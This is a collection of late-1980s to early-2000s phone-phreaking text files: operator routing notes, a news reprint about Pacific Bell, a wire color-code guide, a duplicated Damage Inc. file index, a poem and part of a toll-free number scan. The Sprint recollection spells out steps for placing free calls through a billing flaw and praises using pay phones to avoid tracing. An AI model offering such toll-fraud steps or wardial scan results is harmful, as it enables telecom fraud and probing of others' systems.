+who would answer jacks labelled "Coin Collect" or as any other operator.
+
+In larger towns, there would be switchboards explicitly allocated to these
+specialized services. In smaller towns, these services would appear on some
+or all of the positions occupied by other operators. The "numbers" route for
+non-dialable ring-downs would also have its own set of jacks.
+
+But now that modernization has arrived, and operators sit at computer consoles
+rather than cord boards and are located hundreds of miles from the areas they
+serve, the whole concept has essentially gone away.
+
+For example, New England Telephone serves Massachusetts, Rhode Island, Vermont,
+New Hampshire, and Maine with operators connected to switching systems in
+Springfield MA, Cambridge MA, Framingham MA, Hanover MA, Lawrence MA, and
+Manchester NH. Most operators are not near these switching systems. They are
+in Fall River MA, Brockton MA, Quincy MA, Keene MA, Newburyport MA, Springfield
+MA, Marlboro MA, E. Providence RI, Portland ME, Dover NH, Keene NH, and
+Brattleboro VT.
+
+The long distance carriers are also drastically reducing the ubiquity of
+operators. In testimony before the Mass DPU, a competitor of AT&T claimed that
+AT&T planned to concentrate its operators in five nationwide operating centers.
+
+The operators don't really have any special sort of connection to the central
+offices except when they are performing coin collect functions or busy number
+verification. Some reasons a call might go through when placed through an
+operator when it didn't work when dialled are:
+
+ 1. You dialled via one carrier and then used an operator from a
+ different carrier.
+ 2. Your local central office has a problem translating the area
+ code or area code and first three digits.
+ 3. Your local operating company has a translation problem in its
+ access tandem.
+ 4. The long distance carrier has a translation problem in the
+ toll switching machine serving your central office, but when
+ you're connected to an operator, you end up using a different
+ toll switching machine for the call.
+
+Basically, the only reason the operator gets through when you don't is that
+the call may be placed through different switching systems along the way.
+
+Inward almost doesn't exist any more. Except when calling an area served by
+one of a very few independent telcos with their own operators, AT&T operators
+who call Inward are going to reach another AT&T operator. In no case will an
+AT&T operator calling Inward reach a local Baby Bell operator. Only in the
+case of the completing calls to non-diallable points (and there are thousands
+of them left, especially in California), will an AT&T operator end up on a
+Baby Bell toll board, but this isn't Inward. The Inward route (rather than
+the proper "numbers" route) for such places would end up on an AT&T board which
+would have to call the "numbers" route.
+
+This means that if I make a call from Boston via the AT&T operator for help in
+calling Montpelier VT, and the operator tries Inward, this means the AT&T (not
+New England Telephone) operator for Montpelier, who might be sitting at the
+operator position right next to her!
+
+It also means that if I want to call a pay phone in Montpelier collect, AT&T
+can't do it anymore, because they can't reach a telco operator. AT&T will call
+the pay phone and say that someone's trying to call collect and ask the party
+to call back 1+.
+
+
+Written by: Egghead Dude Edited by: Maxwell Smart
+
+ A moment of silence for the dead : Mickey Leland, Bart Giamatti and of
+ course the good old boys in 301.
+
+ Hellos to : Commander Sozo, Master Ryu, The Oxidixer, Jolly Green Giant,
+ Celtic Phrost and The Genetic Terrorist.
+
+ Also to : Lord Blix, The Viper, Software Surgeon, The Guch, The Knack and
+ all the rest of those 'nifty' guys of the FiRM
+
+
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+ ============================================================================
+ | |
+ | Pacific Bell's Corrupt Fun! |
+ | August 16, 1989 |
+ | CHiNA CHiNA |
+ ============================================================================
+
+ Welcome to CHiNA Educational InfoFile Series II, # 4. Enjoy.
+ Sorry, no cutesy intro here...funny how Meg says CHiNA's dead, and we've
+ only had four NEW releases in the past two weeks...mighty strange, eh?
+
+
+ The following article is from the L.A. Times. It describes a claim by
+ an operator of a local 'talking yellow pages' that Pacific Bell is
+ intentionally disrupting his Centrex service. There have been other claims
+ against PacBell, such as a telephone installer who claims PacBell
+ intentionally botched his company's ad that was placed in the yellow pages
+ for the past two or three years.
+
+
+ Rival Claims PacBell Gave It A 'Virus'
+ Owner of Talking Yellow Pages Says Phones Often Go Dead
+
+ By Bruce Keppel, Times Staff Writer
+
+ To Michael Amin, it seemed a natural: A 'talking' phone book for
+ people who would rather deal with the operator than finger through the
+ yellow pages.
+
+ So, Amin set up a Los Angeles-based firm, Primex Talking Yellow
+ Pages, to provide callers a choice of whatever category of company or
+ service the request- for example, a selection of physicians of a given
+ specialty and working in a particular area. The Primex operator can
+ connect the caller with the doctor he or she wants.
+
+ But the hang-up for Amin has been Pacific Bell.
+
+ The phone company says it has been unable to find the electronic
+ 'virus' that, for 18 months, has bedeviled Primex. The result for Primex
+ has been to have many of its 36 telephone lines go dead at crucial
+ moments--such as right after broadcast of television and radio commercials
+ inviting the audience to call for a trial.
+
+ Don't Know the Cause
+ --------------------
+ At other times, Amin said, conversations are cut off in mid-sentence.
+ And sometimes callers hear ringing while Primex operators hear nothing or,
+ answering a ring, find no one on the line.
+
+ Despite extensive testing by Pacific Bell technicians, who say they
+ don't know the cause of Primex's problems, the company's phone troubles
+ have persisted for 18 months. Amin said they now threaten Primex's
+ pioneering venture, which competes with Pacific Bell's yellow page
+ directories. He noted that Pacific Bell and other former Bell companies
+ have repeatedly--and vainly--sought court permission to enter the talking
+ phone book business.
+
+ Last month, Amin lodged a formal complaint with the California Public
+ Utilities Commission, whose consumer division expects to compete its
+ evaluation this month.
+
+ Meanwhile, the PUC's five members held a final in San Francisco on
+ Monday to hear from businesses such as Primex before deciding to accept
+ proposals submitted separately by Pacific Bell and GTE California, to
+ change telecommunications regulation in the state.
+
+ Amin and other telephone industry entrepreneurs have complained that
+ giving the big phone companies more flexibility might clear the way for
+ Pacific Bell and GTE to use dirty tricks and other unfair practices to
+ drive competitors out of business.
+
+ For instance, Dennis Love has testified before the Assembly Committee
+ on Utilities and Commerce that his Marin County telephone-equipment repair
+ service failed after advertisements bought in Pacific Bell's local phone
+ books were botched in two of the last three years.
+
+ In Amin's case, the business is still running, although the number of
+ employees has plunged to 30 from a high of 70 when the company moved to
+ larger quarters near Los Angeles International Airport. That day, Feb. 1,
+ 1988, the young company's local telephone service unaccountably went
+ haywire, Amin said.
+
+ Deliberate Tampering
+ --------------------
+ In it's complaint, Primex accuses Pacific Bell of indulging in
+ 'illegal harassment' and 'deliberate tampering' with the company's phone
+ lines, most of which are attached to a Pacific Bell Centrex control unit.
+ The goal, the complaint charges, is to destroy the company's business.
+ Amin attached several pages of single-spaced entries chronicling scores of
+ service irregularities and said he has many more on file.
+
+ Pacific Bell spokeswomen Kathleen Flynn confirmed the existence of
+ repeated complaints by Primex but said that 2400 tests have so far turned
+ up no glitch in the phone company's equipment. Flynn said 99.8% of Pacific
+ Bell's test calls went through without a hitch.
+
+ 'There's no reason for us at any time and at any case to disrupt a
+ customer's business,' she said. 'That's just not the way we do business.'
+
+ But Amin disputed the validity of that finding. When he asked Pacific
+ Bell last month to monitor one day's phone traffic for his firm, he said,
+ the utility found that 41% of the calls lasted less than 15 seconds--too
+ brief, he said, to be completed business calls.
+
+ Written by: Egghead Dude
+ Golf City BBS
+ CHiNA Node #5
+
+ What do Mickey Leland, Elvis Presley, Len Bias, Gilda Radner,
+ John Belushi, Mel Blanc, Lucille Ball, John F. Kennedy, Christie
+ MacAuliffe, Marilyn Monroe, Doctor Reverend Martin Luther King Junior, and
+ the boys from 301 have in common?
+ ** EASY, THEY'RE ALL DEAD! **
+
+
+
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+ ***************************************************************************
+ * *
+ * The Telephone Works *
+ * Egghead Dude *
+ * CHiNA CHiNA *
+ ***************************************************************************
+
+ Welcome to CHiNA Educational InfoFile Series II, # 3. Once again,
+ be looking for new files weekly for the next few weeks until school starts
+ again. And contrary to Megaton Man's belief, we are still very much alive
+ and in production. If he tells you otherwise, kindly call him a peasant
+ and tell him to fuck himself...if you want. Enjoy!
+
+
+Here are the standards in Telephone Color Coding:
+
+ Telephone circuits are paired as 'tip' and 'ring' wires. On POTS
+ (plain old telephone service) tip is 0 volts and ring is -48 volts (tip is
+ not 'ground' though as it is a blanced line). The pairs must be
+ distinguishable from one another easily so they are colour coded. The
+ colour of the wire indicates whether it is tip or ring. In a quad wire
+ green and black are tip while red and yellow are ring.
+
+ pair# tip colour ring colour
+ _____ __________ ___________
+
+ 1 white blue
+ 2 white orange
+ 3 white green
+ 4 white brown
+ 5 white slate (silver)
+ 6 red blue
+ 7 red orange
+ 8 red green
+ 9 red brown
+ 10 red slate
+ 11 black blue
+ 12 black orange
+ 13 black green
+ 14 black brown
+ 15 black slate
+ 16 yellow blue
+ 17 yellow orange
+ 18 yellow green
+ 19 yellow brown
+ 20 yellow slate
+ 21 violet (purple) blue
+ 22 violet orange
+ 23 violet green
+ 24 violet brown
+ 25 violet slate
+
+ An individual wire is identified by it's colour and the colour of
+ it's stripe. The main colour determines whether it is tip or ring while
+ the stripe identifies it's pair (i.e. a black wire with a blue stripe is
+ tip of pair 11). In many cables the stripe is missing in which case the
+ pairs are distinguished by the way they are twisted, by pulling back the
+ sheath pairs are more obvious.
+
+ As you can see there are only 5 tip colors and 5 ring colours (5
+ x 5 = 25). a 100 pair cable is made up of four of these 25 pair bundles.
+ The first bundle is wrapped by a white/blue binder string, the second by a
+ white/orange binder, the third by a white/green and the fourth by a
+ white/brown. This scheme can be extended infinitum.
+
+ Some folks think that the order is:
+ Pair Tip Ring
+ 1 RED GRN
+ 2 YEL BLK
+ 3 BLU WHT,
+ and that the 1st pair was backwards in a modular connector compared to the
+ rest.
+
+ Wrong. The polarity is off. Modular connectors reverse the polarity
+ so they make the issue pretty confusing. A modular line cord (that is a
+ properly made _telephone_ line cord) has a flat topology such that when
+ laid on a table the top of both connectors is up. This means that a
+ reversal (polarity wise) takes place. Tip becomes ring on all pairs (the
+ wire is a ribbon in theory). the top of both connectors is up. A 'set'
+ jack (the one inside the telephone) is wired backwards to compensate.
+
+ In addition, the system employed throughout the (used-to-be) Bell
+ System was actually very simple. There wer five colors assigned to "tip"
+ and five colors assigned to "ring". This gives a total combination of
+ twenty-five pairs (very convenient!).
+
+ The colors assigned to the "tip" are;
+
+ white wt
+ red rd
+ black bk
+ yellow yl
+ violet vi
+
+ The colors assigned to the "ring" are;
+
+ blue bl
+ orange or
+ green gr
+ brown br
+ slate sl (sometimes mistakenly called gray)
+
+ Standard phone convention is to identify the "tip" first and then the
+ "ring" when referring to a pair. Thus, the first five pairs of a telephone
+ cable are the "white" pairs;
+
+ white/blue wt/bl
+ white/orange wt/or
+ white/green wt/gr
+ white/brown wt/bn
+ white/slate wt/sl
+
+ The next five are the "red" pairs:
+
+ red/blue rd/bl
+ red/orange rd/or
+ red/green rd/gr
+ red/brown rd/bn
+ red/slate rd/sl
+
+ And so on, until all twenty five pairs are identified. What happens
+ when there are more than twenty-five pairs in a cable? Simple, enclose
+ each twenty-five pair group in a color coded binder. And guess what the
+ color coding is for the binder. Yep, the same as the wires in the binder.
+ The first binder group is the "white/blue" binder the second is the
+ "white/orange" binder, and so on. If it is necessary to refer to the
+ twenty-sixth pair of a fifty pair cable it is referred to as "two
+ white/blue" or 2-wt/bl. The seventy-ninth pair in a one-hundred pair cable
+ is called "four white/brown" or 4-wt/bn. This all holds true for the first
+ twenty-four binders in a cable. The twenty-fifth binder is a little
+ different, and my recollection is a little hazy but I believe the binder
+ colors are white-white-blue. Yes that's two whites and a blue. It might be
+ two blues and a white. It's been a long time since I was in a cable over
+ six hundred pairs. One thing I know for sure is that they double up on one
+ of the binder colors after the twenty-fourth binder group.
+
+ There is also a convention for the positioning the pairs on
+ connecting blocks. The Ring is usually on the Right and the Tip is
+ usually on the Top. As you can see there is a pattern here, Ring-Red-
+ Right and Tip-Top. I guess this was done to make it easier for us dumb
+ installers to remember! |-)
+
+ The only difference in the color coding between telephone cable (the
+ stuff used outside and strung along poles or underground in conduit) and
+ telephone inside wiring (the gray colored stuff in the walls and up in the
+ ceiling) is that the inside wire has each pair traced with the color of
+ its mate. That is, the first pair is a white wire with a blue tracer and
+ its mate is blue with a white tracer. This is done to avoid "splitting" a
+ pair. Splitting is getting the ring of one pair and the tip of another.
+ In outside phone cable each pair is twisted with its mate and the chances
+ of splitting a pair are not as great (although it's been known to happen
+ ;-)).
+
+ With wiring done inside a house, a little history is in order. Back
+ when we had party-lines,(I know, we still do, but very few still in
+ service and none available for new service) three wires were necessary
+ because a ground was required to make the bell ring. So, the original
+ phone wiring had three conductors, red, green and yellow. Red and green
+ were ring and tip respectively and yellow was the ground. Then people
+ started getting away from party lines and into princess and trimline
+ phones with lights in the dial. The yellow was no longer the ground and a
+ black wire was added and the yellow and black were used to supply power
+ for the lamps from a small transformer. Time marches on, and now people
+ are getting second lines installed in their homes. Since the new phones
+ get the power for their lamps from the phone line directly, the yellow
+ and black are now "spare". The yellow is usually the ring and black is
+ the tip. Of course, houses that have been pre-wired with six-pair inside
+ wire would normally have line 1 on the white/blue pair and line 2 on the
+ white/orange pair. In many pre-wire installations I have found that the
+ sixth pair (red/blue) was used for transformer power, although I don't
+ believe that was ever an official practice.
+
+ Written by: Egghead Dude Edited by: The Conflict
+ Golf City BBS
+ CHiNA Node #5
+
+ Hope you enjoyed this one, and once again, look for more! Please
+ distribute this file freely, and if you really must speak to CHiNA,
+ contact us on one of our member boards (a node list should be available
+ wherever you receieved this file). Thanks for you support!
+
+ A big HELLO to Mr. X, The Maestro, Barimor (hear you're doing wonders
+ for the FiRM!), Jolly Green Giant, Feetsack, Lord Blix, Maxwell Smart, The
+ Viper, etc...if you want to be said HELLO to, too bad, we don't like you!
+ Really...we'll be seeing you!
+
+
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+==============================================================================
+
+ CHiNA InfoFile on:
+ Remembrances of US Sprint
+==============================================================================
+
+
+ This is file number two in the series of informative
+ CHiNA files, and file number seven in the entire CHiNA series.
+ Please distribute this, and thanks for your time and support.
+
+
+ We have often heard of Sprint's ultra-cautious handling of its accounts
+ and security measures and redlining, etc., has reminded me of the first days
+ of the FO(O)NCARD service. As soon as the 800 877 8000 number was working in
+ southern California it didn't take some people long to find out that the
+ cheapest long distance rates were currently being provided by Sprint.
+
+ This is how it worked: Dial 800 887 8000. Dial 0 plus the telephone
+ number. When you hear the tone dial 14 digits. Oh, any digits, even all 1s
+ if you like. "Beep-beep" and the call goes through. This "service" lasted
+ for many, many weeks. The more enlightened users of this arrangement only
+ used pay phones, realizing that the number of the calling phone was being
+ transmitted to Sprint, but for a while it was indeed the cheapest long
+ distance anywhere.
+
+ That's progress. From having the biggest hole in all of telephony to
+ turning off legitimate subscribers because too many (or not enough) calls are
+ being made. Are they learning on our nickel?
+
+
+
+ Written by: Egghead Dude
+ SysOp of : Golf City BBS
+ CHiNA Node #5
+
+ Once again, hello to everyone. No boring stupid goodbye
+ here. I hope you enjoy these files, and leave a message for
+ us on any CHiNA node if the need arises that you must speak
+ with us...bye for now...
+==============================================================================
+
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+
+T E X T F I L E S
+
+Groups: Damage, Incorporated
+
+BLACKENED's group of telecommunications enthusiasts have been creating
+telephone scanning lists, newsletters, and poetry since 1993. This collection
+comes courtesy of his efforts, which are greatly appreciated.
+A large portion of these files are the Damage, Inc. Newsletter, which pulls
+away any individal textfiles they might be working on and puts them into an
+easy to find (and read) collection. Solid telephone information and great
+to see them at it after so many years.
+
+
+Filename
|
+Size
|
+Description of the Textfile
|
+
+
+16hours.txt 2730
| Poetic Rantings by Blackened of Damage, Inc. (2001)
+ | 225-5xxx.txt 18016
| 1-800-225-5XXX Phone Number Scan
+ | 465-11xx.txt 3537
| 1-800-465-11XX Scan
+ | 465-99xx.txt 3729
| 1-800-465-99XX Scan
+ | 800bell.txt 14503
| 1-800-XXX-BELL Scan
+ | 861-21xx.txt 3947
| 1-800-861-21XX Scan
+ | 861-99xx.txt 3422
| 1-800-861-99XX Scan
+ | 877bell.txt 11323
| 1-877-XXX-BELL Scan
+ | 888bell.txt 12954
| 1-888-XXX-BELL Scan
+ | acronyms.txt 54325
| The Damage, Inc. List of Acronyms v1.0 (1998)
+ | aquila.txt 3306
| Poetic Rantings: The Eyes of Aquila by Blackened of Damage, Inc.
+ | bigbro.txt 2961
| Poetic Rantings: Big Brother Matters, by Blackie Lawless of Damage, Inc. (2000)
+ | chaos.txt 3855
| Chaos and Madness (Poem) by BLACKENED
+ | dam00spr.txt 130410
| The Phreaky Field Phreaking List Spring 2000 Edition (May 5th, 2000)
+ | dam00sum.txt 143175
| The Phreaky Field Phreaking List Summer 2000 Edition (July 25th, 2000)
+ | dam00win.txt 94854
| The Phreaky Field Phreaking List Winter 2000 Edition (February 27, 2000)
+ | dam01win.txt 145581
| The Damage, Inc. Phreaky Field Phreaking List Winter 2001 Edition (February 5, 2001)
+ | dam99fal.txt 80840
| The Phreaky Field Phreaking List Fall 1999 Edition (November 7, 1999)
+ | dam99spr.txt 50010
| The Phreaky Field Phreaking List Spring 1999 Edition (March 31, 1999)
+ | dam99sum.txt 61285
| The Phreaky Field Phreaking List Summer 1999 Edition (June 30, 1999)
+ | damage.001 73055
| Damage Incorporated Newsletter Issue #1 (September 1997)
+ | damage.002 66689
| Damage Incorporated Newsletter Issue #2 (October, 1997)
+ | damage.003 68586
| Damage Incorporated Newsletter Issue #3 (November, 1997)
+ | damage.004 54540
| Damage Incorporated Newsletter Issue #4 (December, 1997)
+ | damage.005 93250
| Damage Incorporated Newsletter Issue #5 (January, 1998)
+ | damage.006 78855
| Damage Incorporated Newsletter Issue #6 (February, 1998)
+ | damage.007 95640
| Damage Incorporated Newsletter Issue #7 (March, 1998)
+ | damage.008 117500
| Damage Incorporated Newsletter Issue #8 (April, 1998)
+ | damage.009 127815
| Damage Incorporated Newsletter Issue #9 (May, 1998)
+ | damage.010 125880
| Damage Incorporated Newsletter Issue #10 (July, 1998)
+ | damage.011 115145
| Damage Incorporated Newsletter Issue #11 (August, 1998)
+ | damage.012 172585
| Damage Incorporated Newsletter Issue #12 (October, 1998)
+ | damage.013 138080
| Damage Incorporated Newsletter Issue #13 (December 24, 1998)
+ | damage.014 181130
| Damage Incorporated Newsletter Issue #14 (February 26th, 1999)
+ | damage.015 191920
| Damage Incorporated Newsletter Issue #15 (May 31, 1999)
+ | damage.016 177510
| Damage Incorporated Newsletter Issue #16 (July 31, 1999)
+ | damage.017 252175
| Damage Incorporated Newsletter Issue #17 (January 20, 2000)
+ | damage.018 361195
| Damage Incorporated Newsletter Issue #18 (June 30th, 2000)
+ | damage.019 205450
| Damage Incorporated Newsletter Issue #19 (January 1, 2001)
+ | damage.faq 21534
| Damage, Incorporated Frequently Asked Questions, by BLACKENED (March 13, 2000) v1.20
+ | damloops.txt 3715
| 416/905 Loops Listing (April 2000)
+ | dnic.txt 32810
| Data Network Identification Codes
+ | gratte.txt 24399
| Interviews and Interrogations: Interview with Grandmaster Ratte' of the cDc (2001)
+ | ifonly.txt 2889
| Poetic Rantings: If Only... by Helena3 of Damage, Inc. (2000)
+ | intcodes.txt 10904
| Phreaky International Codes Reference Winter 2001 Edition (February 5, 2001)
+ | mci.nfo 179230
| MCI Worldcom Network Assistance: Access Numbers for Compuserve, BT Tymnet, Datapac, AlaskaNet
+ | myheart.txt 3180
| Poetic Rantings: My Heart Beats for You
+ | nowhere.txt 3630
| Poetic Rantings: American Dreams: Nowhere is Everywhere, by Blackened of Damage Inc. (2001)
+ | npa.txt 12782
| The Damage Inc. Phreaky Field NPA Reference (Winter 2001 Edition) (February 5, 2001)
+ | odedi.txt 2974
| An Ode to Damage, Incorporated, by THC Phreak (1998)
+ | pages.txt 3380
| Poetic Rantings; Blank Pages Revealing Tears
+ | phreaky.txt 3556
| Snap! Crackle! Pop! Bell Krispies! Winter 2001 Edition, by Blackie Lawless
+ | propagan.txt 3001
| Poetic Rantings: Propagandize
+ | silicon.txt 2645
| Poetic Rantings: Submissive Silicon Dreams by Blackened of Damage Inc. (2001)
+ | soldier.txt 2105
| Poetic Rantings: New World Soldier, by THC Phreak of Damage Inc. (2000)
+ | sprint.nfo 40000
| SprintNet Local Access Numbers
+ | stilldi.txt 2768
| Still Damage, Inc (Poem) by THC Phreak (2000)
+ | terror.txt 3345
| Poetic Rantings: The Error of Terror by Blackened of Damage, Inc. (2001)
+ | theend.txt 4730
| Poetic Rantings: The End of Truth
+ | voice.txt 5315
| The Voice of the Monopoly (Poem) by BLACKENED (2000)
+ | xxx-2255.txt 13329
| 1-800-XXX-2255 Scan
+ | zombie.txt 4167
| A Pathetic Zombie Race (Poem)
+ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| There are 62 files for a total of 3,928,151 bytes. |
+
+
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+
+
T E X T F I L E S
+
+Groups: Damage, Incorporated
+
+BLACKENED's group of telecommunications enthusiasts have been creating
+telephone scanning lists, newsletters, and poetry since 1993. This collection
+comes courtesy of his efforts, which are greatly appreciated.
+A large portion of these files are the Damage, Inc. Newsletter, which pulls
+away any individal textfiles they might be working on and puts them into an
+easy to find (and read) collection. Solid telephone information and great
+to see them at it after so many years.
+
+
+Filename
|
+Size
|
+Description of the Textfile
|
+
+
+16hours.txt 2730
| Poetic Rantings by Blackened of Damage, Inc. (2001)
+ | 225-5xxx.txt 18016
| 1-800-225-5XXX Phone Number Scan
+ | 465-11xx.txt 3537
| 1-800-465-11XX Scan
+ | 465-99xx.txt 3729
| 1-800-465-99XX Scan
+ | 800bell.txt 14503
| 1-800-XXX-BELL Scan
+ | 861-21xx.txt 3947
| 1-800-861-21XX Scan
+ | 861-99xx.txt 3422
| 1-800-861-99XX Scan
+ | 877bell.txt 11323
| 1-877-XXX-BELL Scan
+ | 888bell.txt 12954
| 1-888-XXX-BELL Scan
+ | acronyms.txt 54325
| The Damage, Inc. List of Acronyms v1.0 (1998)
+ | aquila.txt 3306
| Poetic Rantings: The Eyes of Aquila by Blackened of Damage, Inc.
+ | bigbro.txt 2961
| Poetic Rantings: Big Brother Matters, by Blackie Lawless of Damage, Inc. (2000)
+ | chaos.txt 3855
| Chaos and Madness (Poem) by BLACKENED
+ | dam00spr.txt 130410
| The Phreaky Field Phreaking List Spring 2000 Edition (May 5th, 2000)
+ | dam00sum.txt 143175
| The Phreaky Field Phreaking List Summer 2000 Edition (July 25th, 2000)
+ | dam00win.txt 94854
| The Phreaky Field Phreaking List Winter 2000 Edition (February 27, 2000)
+ | dam01win.txt 145581
| The Damage, Inc. Phreaky Field Phreaking List Winter 2001 Edition (February 5, 2001)
+ | dam99fal.txt 80840
| The Phreaky Field Phreaking List Fall 1999 Edition (November 7, 1999)
+ | dam99spr.txt 50010
| The Phreaky Field Phreaking List Spring 1999 Edition (March 31, 1999)
+ | dam99sum.txt 61285
| The Phreaky Field Phreaking List Summer 1999 Edition (June 30, 1999)
+ | damage.001 73055
| Damage Incorporated Newsletter Issue #1 (September 1997)
+ | damage.002 66689
| Damage Incorporated Newsletter Issue #2 (October, 1997)
+ | damage.003 68586
| Damage Incorporated Newsletter Issue #3 (November, 1997)
+ | damage.004 54540
| Damage Incorporated Newsletter Issue #4 (December, 1997)
+ | damage.005 93250
| Damage Incorporated Newsletter Issue #5 (January, 1998)
+ | damage.006 78855
| Damage Incorporated Newsletter Issue #6 (February, 1998)
+ | damage.007 95640
| Damage Incorporated Newsletter Issue #7 (March, 1998)
+ | damage.008 117500
| Damage Incorporated Newsletter Issue #8 (April, 1998)
+ | damage.009 127815
| Damage Incorporated Newsletter Issue #9 (May, 1998)
+ | damage.010 125880
| Damage Incorporated Newsletter Issue #10 (July, 1998)
+ | damage.011 115145
| Damage Incorporated Newsletter Issue #11 (August, 1998)
+ | damage.012 172585
| Damage Incorporated Newsletter Issue #12 (October, 1998)
+ | damage.013 138080
| Damage Incorporated Newsletter Issue #13 (December 24, 1998)
+ | damage.014 181130
| Damage Incorporated Newsletter Issue #14 (February 26th, 1999)
+ | damage.015 191920
| Damage Incorporated Newsletter Issue #15 (May 31, 1999)
+ | damage.016 177510
| Damage Incorporated Newsletter Issue #16 (July 31, 1999)
+ | damage.017 252175
| Damage Incorporated Newsletter Issue #17 (January 20, 2000)
+ | damage.018 361195
| Damage Incorporated Newsletter Issue #18 (June 30th, 2000)
+ | damage.019 205450
| Damage Incorporated Newsletter Issue #19 (January 1, 2001)
+ | damage.faq 21534
| Damage, Incorporated Frequently Asked Questions, by BLACKENED (March 13, 2000) v1.20
+ | damloops.txt 3715
| 416/905 Loops Listing (April 2000)
+ | dnic.txt 32810
| Data Network Identification Codes
+ | gratte.txt 24399
| Interviews and Interrogations: Interview with Grandmaster Ratte' of the cDc (2001)
+ | ifonly.txt 2889
| Poetic Rantings: If Only... by Helena3 of Damage, Inc. (2000)
+ | intcodes.txt 10904
| Phreaky International Codes Reference Winter 2001 Edition (February 5, 2001)
+ | mci.nfo 179230
| MCI Worldcom Network Assistance: Access Numbers for Compuserve, BT Tymnet, Datapac, AlaskaNet
+ | myheart.txt 3180
| Poetic Rantings: My Heart Beats for You
+ | nowhere.txt 3630
| Poetic Rantings: American Dreams: Nowhere is Everywhere, by Blackened of Damage Inc. (2001)
+ | npa.txt 12782
| The Damage Inc. Phreaky Field NPA Reference (Winter 2001 Edition) (February 5, 2001)
+ | odedi.txt 2974
| An Ode to Damage, Incorporated, by THC Phreak (1998)
+ | pages.txt 3380
| Poetic Rantings; Blank Pages Revealing Tears
+ | phreaky.txt 3556
| Snap! Crackle! Pop! Bell Krispies! Winter 2001 Edition, by Blackie Lawless
+ | propagan.txt 3001
| Poetic Rantings: Propagandize
+ | silicon.txt 2645
| Poetic Rantings: Submissive Silicon Dreams by Blackened of Damage Inc. (2001)
+ | soldier.txt 2105
| Poetic Rantings: New World Soldier, by THC Phreak of Damage Inc. (2000)
+ | sprint.nfo 40000
| SprintNet Local Access Numbers
+ | stilldi.txt 2768
| Still Damage, Inc (Poem) by THC Phreak (2000)
+ | terror.txt 3345
| Poetic Rantings: The Error of Terror by Blackened of Damage, Inc. (2001)
+ | theend.txt 4730
| Poetic Rantings: The End of Truth
+ | voice.txt 5315
| The Voice of the Monopoly (Poem) by BLACKENED (2000)
+ | xxx-2255.txt 13329
| 1-800-XXX-2255 Scan
+ | zombie.txt 4167
| A Pathetic Zombie Race (Poem)
+ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| There are 62 files for a total of 3,928,151 bytes. |
+
+
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Poetic Rantings
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+16 Hours of Hell and Bliss.
+
+Writing sixteen hours... exploding in emotional outbursts. Not breaking away
+from pen and paper. Not wanting to stop and eat, sleep, shave or shower. At
+times feeling trapped and confined. At others, it's bliss. A paradox... like
+the world in nirvana perpetually amiss. Ironic that I even choose to do this.
+
+Cliches fill my head as it aches for rest. Caught between a rock and a hard
+place. Looking up at the sheer rock face... of majestic mountains. Standing
+tall but feeling so utterly small... at its brooding base.
+
+There I go... off on a tangent again. Ranting on pages. Releasing energy
+relentlessly. When will this bliss come to an abrupt end? Will this be the
+final hour? So very weary now... So overpowered.
+
+Time bends. Night is eclipsed by day... usurped by dawn. In the sixteenth hour
+I finally give in. Sleep awaits. The moment has passed. I miss the feeling
+that's now only a memory... Gone.
+
+With inspiration exhausted... I'm left only with tiredness. Unsatisfied with
+what I've written. Mind and body feeling like they've somehow been accosted.
+Sweet words escape me... Lost.
+
+But all's well. All's hell.
+
+And now I don't feel much like writing. The moment faded away. The words are
+gone like a fleeting summer. Worn down houses with paint peeling. But oh...
+how bitter and cold the feeling. Torment so vicious... and biting. And the
+emptiness so great... Overwhelming words so cruel and slighting.
+
+This northern land... of wolf and man... ripping right through me like the
+hopeless hours. Hours that only inspiration can devour. Will you be there?
+I'm the one who waits for you... Inspired by truth.
+
+I can't breathe. Of blood and pain and sorrow. Terrified. I will sleep now...
+in the solace of darkness and shadows. And I will put myself through hell
+again... tomorrow. Endless hours of misery await... without tears or cries.
+
+This is what I've felt and known. This is my own private hell. So alone...
+This is no oasis!
+
+Written by BLACKENED / Damage, INC. (C)opyright 2001.
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-800-225-5XXX Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+1-800-225-5XXX (CALL) Scan:
+--------------------------
+
+000 Voice.
+001 2CK.
+002 2CK.
+003 2CK.
+004 2CK.
+005 Daytimers.
+006 "We are sorry but this program has not started. Thank you for calling."
+007 "We are sorry but this program has not started. Thank you for calling."
+008 NA.
+009 NA.
+010 2CK.
+011 2CK.
+012 2CK.
+013 Voice.
+014 John's Voicemail.
+015 BUSY.
+016 2CK.
+017 BUSY.
+018 Inteliphone VMS.
+019 Voice.
+020 2CK.
+021 2CK.
+022 AT&T Easy Reach 800.
+023 2CK.
+024 2CK.
+025 General Tire free U.S. Savings Bond promotion.
+026 CARRIER.
+027 AT&T Easy Reach 800.
+028 2CK.
+029 NA.
+030 Same message as 300.
+031 2CK.
+032 BUSY.
+033 2CK.
+034 Voice.
+035 2CK.
+036 2CK.
+037 2CK.
+038 Kathy with Network Implementation.
+039 2CK.
+040 2CK.
+041 2CK.
+042 2CK.
+043 BUSY.
+044 Reunion Network.
+045 2CK.
+046 2CK.
+047 BUSY.
+048 2CK.
+049 2CK.
+050 Automated Switchboard of a Law Firm.
+051 2CK.
+052 Voice.
+053 2CK.
+054 Metro Information Services.
+055 Very Fine Products.
+056 2CK.
+057 2CK.
+058 2CK.
+059 Voice. "How may I direct your call?"
+060 2CK.
+061 Voice. "How may I direct your call?"
+062 Channel Machine company. (Voice)
+063 2CK.
+064 2CK.
+065 2CK.
+066 Law Office.
+067 2CK.
+068 Bruce Johnson's Voicemail.
+069 2CK.
+070 NA.
+071 NA.
+072 BUSY.
+073 2CK.
+074 2CK.
+075 2CK.
+076 Something VMS.
+077 NA.
+078 2CK.
